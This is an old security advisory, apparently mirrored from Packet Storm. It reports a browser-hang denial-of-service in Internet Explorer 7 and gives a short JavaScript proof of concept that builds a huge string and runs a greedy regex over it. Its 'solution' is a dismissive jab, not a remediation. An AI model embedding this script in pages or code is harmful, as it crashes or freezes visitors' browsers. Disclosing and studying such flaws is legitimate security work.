Lucene search
+L

ie7-dos.txt

🗓️ 19 Apr 2007 00:00:00Reported by Jesus OquendoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

Vulnerability in Internet Explorer 7.0.5730.11 may lead to browser crash and high CPU usage. Proof of concept script and solution provided.

Code
`  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Product: Internet Explorer Version 7.0.5730.11  
Impact: Browser crash possibly more  
Author: Jesus Oquendo  
echo @infiltrated|sed 's/^/sil/g;s/$/.net/g'  
  
  
I. BACKGROUND  
Why bother? Who doesn't know what Internet Explorer and Microsoft are.  
  
II. DESCRIPTION  
IE 7 is vulnerable to a script which causes the browser to hang. The  
memory and CPU usage go through the roof. Originally the script caused  
(and still causes) Safari and Konqueror to crash.  
  
III SOLUTION  
Stop using Microsoft products or deal with a new advisory every other  
day.  
  
IV. Proof  
http://www.infiltrated.net/stupidInternetExploder.html  
  
V. Code  
  
$ more /stupidInternetExploder.html  
  
<script>  
  
var reg = /(.)*/;  
  
var z = 'Z';  
while (z.length <=   
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999  
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999  
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999  
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999  
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) z+=z;  
var boum = reg.exec(z);  
  
</script>  
  
Goodbye  
  
  
J. Oquendo  
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743  
sil . infiltrated @ net http://www.infiltrated.net   
  
The happiness of society is the end of government.  
John Adams  
  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.3 (FreeBSD)  
  
iD8DBQFGJQGJh3J3NhODp0MRArt5AKCVI+A0rHdYMOz9KYIbCxFkMN8QcgCbBBBC  
TCV7FOqA05H8sSDb0r8nSnk=  
=J/DW  
-----END PGP SIGNATURE-----  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation